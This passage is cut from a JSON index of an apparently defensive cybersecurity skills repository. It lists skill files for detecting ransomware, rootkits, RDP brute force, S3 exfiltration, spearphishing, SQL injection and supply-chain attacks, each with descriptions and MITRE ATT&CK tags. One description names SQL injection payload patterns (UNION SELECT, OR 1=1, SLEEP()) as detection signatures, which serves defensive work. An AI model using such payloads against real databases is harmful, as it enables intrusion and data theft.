-->","isInternal":false,"tokens":753,"sizeBytes":2623},{"name":"SKILL.md","path":"skills/detecting-ransomware-encryption-behavior/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ransomware-encryption-behavior/SKILL.md","title":"detecting-ransomware-encryption-behavior","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-encryption-behavior%2FSKILL.md -->","frontmatter":{"name":"detecting-ransomware-encryption-behavior","description":"Detects ransomware encryption activity in real time using entropy analysis, file system I/O monitoring (Sysmon, watchdog, psutil), and behavioral scoring to identify mass file modification, abnormal entropy spikes in written data, and suspicious process behavior characteristic of encryption routines. Use when building real-time ransomware detection, tuning entropy thresholds, or investigating suspected active encryption on an endpoint.\n","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","detection","entropy","behavioral-analysis","file-monitoring","heuristics"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1486","T1490"],"mitre_f3":{"version":"1.1","tactics":["monetization","positioning","stealth"],"techniques":[{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1017.001","name":"Conversion to Physical Monetary Instruments: Cash","tactic":"monetization","source":"f3"},{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"},{"id":"T1070","name":"Indicator Removal","tactic":"stealth","source":"attack"}]}},"isInternal":false,"tokens":2096,"sizeBytes":8815},{"name":"template.md","path":"skills/detecting-ransomware-precursors-in-network/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ransomware-precursors-in-network/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":446,"sizeBytes":1653},{"name":"api-reference.md","path":"skills/detecting-ransomware-precursors-in-network/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ransomware-precursors-in-network/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1561,"sizeBytes":5282},{"name":"standards.md","path":"skills/detecting-ransomware-precursors-in-network/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ransomware-precursors-in-network/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":514,"sizeBytes":1790},{"name":"workflows.md","path":"skills/detecting-ransomware-precursors-in-network/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ransomware-precursors-in-network/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":757,"sizeBytes":2712},{"name":"SKILL.md","path":"skills/detecting-ransomware-precursors-in-network/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ransomware-precursors-in-network/SKILL.md","title":"detecting-ransomware-precursors-in-network","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2FSKILL.md -->","frontmatter":{"name":"detecting-ransomware-precursors-in-network","description":"Detects early-stage ransomware indicators in network traffic before encryption begins, including initial access broker activity, command-and-control beaconing, credential harvesting, reconnaissance scanning, and staging behavior. Uses network detection tools (Zeek, Suricata, Arkime), SIEM correlation rules, and threat intelligence feeds to identify ransomware precursor patterns such as Cobalt Strike beacons, Mimikatz network signatures, and RDP brute-force attempts. Activates for requests involving pre-ransomware detection, network-based ransomware indicators, or early warning ransomware monitoring.\n","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","detection","network-security","incident-response","defense"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","monetization"],"techniques":[{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"},{"id":"T1650","name":"Acquire Access","tactic":"resource-development","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":3911,"sizeBytes":14892},{"name":"api-reference.md","path":"skills/detecting-rdp-brute-force-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-rdp-brute-force-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rdp-brute-force-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":604,"sizeBytes":2183},{"name":"SKILL.md","path":"skills/detecting-rdp-brute-force-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-rdp-brute-force-attacks/SKILL.md","title":"detecting-rdp-brute-force-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rdp-brute-force-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-rdp-brute-force-attacks","description":"Detect RDP brute force attacks by parsing Windows Security Event Logs (EVTX files, via python-evtx) for failed logon patterns (Event ID 4625, Logon Type 10/3), correlating with successful logons (Event ID 4624), and analyzing NLA failures and source IP frequency. Use when investigating exposed RDP endpoints, building SIEM detection rules for credential guessing, or confirming whether a compromised account followed a brute-force pattern.","domain":"cybersecurity","subdomain":"threat-detection","tags":["threat-detection","rdp","brute-force","windows-event-logs","blue-team","siem"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05"],"mitre_attack":["T1021.001","T1110.001","T1110.003","T1078"]},"isInternal":false,"tokens":737,"sizeBytes":3116},{"name":"api-reference.md","path":"skills/detecting-rootkit-activity/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-rootkit-activity/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rootkit-activity%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":632,"sizeBytes":2367},{"name":"SKILL.md","path":"skills/detecting-rootkit-activity/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-rootkit-activity/SKILL.md","title":"detecting-rootkit-activity","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rootkit-activity%2FSKILL.md -->","frontmatter":{"name":"detecting-rootkit-activity","description":"Detects rootkit presence on compromised systems by identifying hidden processes, hooked system calls, modified kernel structures, and covert network connections using Volatility memory forensics, cross-view detection, and tools like GMER, rkhunter, chkrootkit, and RootkitRevealer. Use when standard tools (Task Manager, netstat, AV/EDR) show nothing abnormal but compromise is suspected.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","rootkit","detection","kernel-analysis","memory-forensics"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1014","T1547.006","T1564.001","T1574.006"]},"isInternal":false,"tokens":2943,"sizeBytes":11975},{"name":"api-reference.md","path":"skills/detecting-s3-data-exfiltration-attempts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-s3-data-exfiltration-attempts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-s3-data-exfiltration-attempts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":679,"sizeBytes":2540},{"name":"SKILL.md","path":"skills/detecting-s3-data-exfiltration-attempts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-s3-data-exfiltration-attempts/SKILL.md","title":"detecting-s3-data-exfiltration-attempts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-s3-data-exfiltration-attempts%2FSKILL.md -->","frontmatter":{"name":"detecting-s3-data-exfiltration-attempts","description":"Detecting data exfiltration attempts from AWS S3 buckets by analyzing CloudTrail S3 data events, VPC Flow Logs, GuardDuty findings, Amazon Macie alerts, and S3 access patterns to identify unauthorized bulk downloads and cross-account data transfers.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","s3","data-exfiltration","guardduty","macie","threat-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1530","T1567.002","T1537","T1119"]},"isInternal":false,"tokens":3153,"sizeBytes":12521},{"name":"api-reference.md","path":"skills/detecting-secure-boot-bypass/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-secure-boot-bypass/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-secure-boot-bypass%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":620,"sizeBytes":2221},{"name":"standards.md","path":"skills/detecting-secure-boot-bypass/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-secure-boot-bypass/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-secure-boot-bypass%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":391,"sizeBytes":1580},{"name":"SKILL.md","path":"skills/detecting-secure-boot-bypass/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-secure-boot-bypass/SKILL.md","title":"detecting-secure-boot-bypass","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-secure-boot-bypass%2FSKILL.md -->","frontmatter":{"name":"detecting-secure-boot-bypass","description":"Detect UEFI Secure Boot bypasses and bootkits such as BlackLotus and Bootkitty by verifying Secure Boot state, checking dbx revocation currency, and hashing EFI boot binaries against known-bad sets using mokutil, efi-readvar/dbxtool, CHIPSEC, sbverify/pesign, and Windows Confirm-SecureBootUEFI. Use when auditing fleet dbx rollout after a bootkit advisory or hunting for pre-OS persistence on a suspected-compromised endpoint.","domain":"cybersecurity","subdomain":"hardware-firmware-security","tags":["hardware-firmware-security","secure-boot","uefi","bootkit","dbx-revocation","blacklotus","chipsec","firmware-integrity"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1542.003"]},"isInternal":false,"tokens":2615,"sizeBytes":10259},{"name":"api-reference.md","path":"skills/detecting-serverless-function-injection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-serverless-function-injection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-serverless-function-injection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1169,"sizeBytes":5121},{"name":"SKILL.md","path":"skills/detecting-serverless-function-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-serverless-function-injection/SKILL.md","title":"detecting-serverless-function-injection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-serverless-function-injection%2FSKILL.md -->","frontmatter":{"name":"detecting-serverless-function-injection","description":"Detects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation via function modification. The analyst combines static analysis of function code, CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing to identify injection vectors across the expanded serverless attack surface including API Gateway, S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates for requests involving Lambda security assessment, serverless injection detection, function event poisoning analysis, or serverless privilege escalation investigation.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["serverless-security","Lambda-injection","event-source-poisoning","OWASP-serverless","IAM-escalation","CloudTrail"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1190","T1059","T1648","T1078.004","T1068"]},"isInternal":false,"tokens":5683,"sizeBytes":25164},{"name":"template.md","path":"skills/detecting-service-account-abuse/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-service-account-abuse/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":720,"sizeBytes":2636},{"name":"api-reference.md","path":"skills/detecting-service-account-abuse/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-service-account-abuse/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":559,"sizeBytes":2200},{"name":"standards.md","path":"skills/detecting-service-account-abuse/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-service-account-abuse/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":407,"sizeBytes":1567},{"name":"workflows.md","path":"skills/detecting-service-account-abuse/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-service-account-abuse/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":632,"sizeBytes":2912},{"name":"SKILL.md","path":"skills/detecting-service-account-abuse/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-service-account-abuse/SKILL.md","title":"detecting-service-account-abuse","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2FSKILL.md -->","frontmatter":{"name":"detecting-service-account-abuse","description":"Detect abuse of service accounts by hunting for anomalous interactive logons, privilege escalation, and lateral movement using EDR/SIEM telemetry (CrowdStrike Falcon, Microsoft Defender, Splunk, Elastic Security, Sysmon, Velociraptor) and Sigma detection rules. Use when hunting for service-account misuse or investigating a service account performing unexpected interactive logons.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","service-accounts","privilege-escalation","t1078","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1078.002","T1021.001","T1098.001","T1550.002"]},"isInternal":false,"tokens":836,"sizeBytes":3615},{"name":"api-reference.md","path":"skills/detecting-shadow-api-endpoints/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-shadow-api-endpoints/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-api-endpoints%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":660,"sizeBytes":2212},{"name":"SKILL.md","path":"skills/detecting-shadow-api-endpoints/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-shadow-api-endpoints/SKILL.md","title":"detecting-shadow-api-endpoints","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-api-endpoints%2FSKILL.md -->","frontmatter":{"name":"detecting-shadow-api-endpoints","description":"Discover and inventory shadow API endpoints that operate outside documented OpenAPI/Swagger specs, using traffic analysis against API gateways (Kong, AWS API Gateway, Envoy), cloud configuration scanning, and source code repository mining for undocumented routes. Use when assessing API attack surface, auditing for forgotten test environments or deprecated API versions still running, or building an API registration governance policy.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","shadow-apis","api-discovery","undocumented-apis","zombie-apis","api-inventory","attack-surface-management","api-governance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1133","T1526","T1213"]},"isInternal":false,"tokens":3233,"sizeBytes":14489},{"name":"api-reference.md","path":"skills/detecting-shadow-it-cloud-usage/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-shadow-it-cloud-usage/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-it-cloud-usage%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":596,"sizeBytes":2399},{"name":"SKILL.md","path":"skills/detecting-shadow-it-cloud-usage/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-shadow-it-cloud-usage/SKILL.md","title":"detecting-shadow-it-cloud-usage","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-it-cloud-usage%2FSKILL.md -->","frontmatter":{"name":"detecting-shadow-it-cloud-usage","description":"Detect unauthorized SaaS and cloud service usage (shadow IT) by parsing proxy access logs, DNS query logs, and firewall/netflow data with Python pandas to aggregate traffic by domain, classify domains against known SaaS categories, and score risk by data volume and user count. Use when auditing an organization for unsanctioned cloud/SaaS usage or generating a shadow IT discovery report with remediation recommendations.","domain":"cybersecurity","subdomain":"cloud-security","tags":["shadow-IT","SaaS-discovery","proxy-logs","DNS-analysis","netflow","cloud-security","pandas"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1567.002","T1526","T1078.004","T1213"]},"isInternal":false,"tokens":566,"sizeBytes":2549},{"name":"template.md","path":"skills/detecting-spearphishing-with-email-gateway/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-spearphishing-with-email-gateway/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":482,"sizeBytes":1928},{"name":"api-reference.md","path":"skills/detecting-spearphishing-with-email-gateway/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-spearphishing-with-email-gateway/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":641,"sizeBytes":2296},{"name":"standards.md","path":"skills/detecting-spearphishing-with-email-gateway/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-spearphishing-with-email-gateway/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":635,"sizeBytes":2489},{"name":"workflows.md","path":"skills/detecting-spearphishing-with-email-gateway/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-spearphishing-with-email-gateway/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":981,"sizeBytes":3813},{"name":"SKILL.md","path":"skills/detecting-spearphishing-with-email-gateway/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-spearphishing-with-email-gateway/SKILL.md","title":"detecting-spearphishing-with-email-gateway","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2FSKILL.md -->","frontmatter":{"name":"detecting-spearphishing-with-email-gateway","description":"Detect and block spearphishing emails that use personalized, researched content to evade generic spam filters, by configuring email security gateway (SEG) impersonation protection, URL rewriting, attachment sandboxing, and custom detection rules in Microsoft Defender for Office 365, Proofpoint, Mimecast, or Barracuda. Use when hardening a mail gateway against targeted phishing or investigating a suspected spearphishing campaign.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["phishing","email-security","social-engineering","dmarc","awareness","spearphishing","email-gateway"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566.001","T1566.002","T1204.001","T1204.002"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access","stealth","resource-development"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"F1031","name":"Impersonate Account Holder","tactic":"initial-access","source":"f3"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"}]}},"isInternal":false,"tokens":1259,"sizeBytes":5551},{"name":"api-reference.md","path":"skills/detecting-sql-injection-via-waf-logs/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-sql-injection-via-waf-logs/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-sql-injection-via-waf-logs%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":536,"sizeBytes":1898},{"name":"SKILL.md","path":"skills/detecting-sql-injection-via-waf-logs/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-sql-injection-via-waf-logs/SKILL.md","title":"detecting-sql-injection-via-waf-logs","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-sql-injection-via-waf-logs%2FSKILL.md -->","frontmatter":{"name":"detecting-sql-injection-via-waf-logs","description":"Analyze WAF (ModSecurity/AWS WAF/Cloudflare) logs to detect SQL injection attack campaigns. Parses ModSecurity audit logs and JSON WAF event logs to identify SQLi patterns (UNION SELECT, OR 1=1, SLEEP(), BENCHMARK()), tracks attack sources, correlates multi-stage injection attempts, and generates incident reports with OWASP classification.","domain":"cybersecurity","subdomain":"security-operations","tags":["waf-log-analysis","sql-injection-detection","modsecurity","aws-waf","cloudflare-waf","web-application-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1190","T1505.003","T1059.007"]},"isInternal":false,"tokens":551,"sizeBytes":2254},{"name":"api-reference.md","path":"skills/detecting-stuxnet-style-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-stuxnet-style-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-stuxnet-style-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":711,"sizeBytes":2223},{"name":"SKILL.md","path":"skills/detecting-stuxnet-style-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-stuxnet-style-attacks/SKILL.md","title":"detecting-stuxnet-style-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-stuxnet-style-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-stuxnet-style-attacks","description":"Detects sophisticated cyber-physical attacks that follow the Stuxnet pattern of modifying PLC logic while spoofing sensor readings to hide the manipulation, using PLC logic integrity monitoring (Claroty xDome, Nozomi Guardian) and physics-based process anomaly detection. Use when hunting for IT-to-OT lateral movement or discrepancies between PLC program state and physical process behavior in ICS/SCADA environments.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","stuxnet","plc-integrity","apt"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T0853","T0831","T0809","T0807"]},"isInternal":false,"tokens":4248,"sizeBytes":19555},{"name":"api-reference.md","path":"skills/detecting-supply-chain-attacks-in-ci-cd/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-supply-chain-attacks-in-ci-cd/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-supply-chain-attacks-in-ci-cd%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":422,"sizeBytes":1638},{"name":"SKILL.md","path":"skills/detecting-supply-chain-attacks-in-ci-cd/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-supply-chain-attacks-in-ci-cd/SKILL.md","title":"detecting-supply-chain-attacks-in-ci-cd","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-supply-chain-attacks-in-ci-cd%2FSKILL.md -->","frontmatter":{"name":"detecting-supply-chain-attacks-in-ci-cd","description":"Scans GitHub Actions workflows and CI/CD pipeline configurations for supply chain attack vectors including unpinned actions, script injection via expressions, dependency confusion, and secrets exposure. Uses PyGithub and YAML parsing for automated audit. Use when 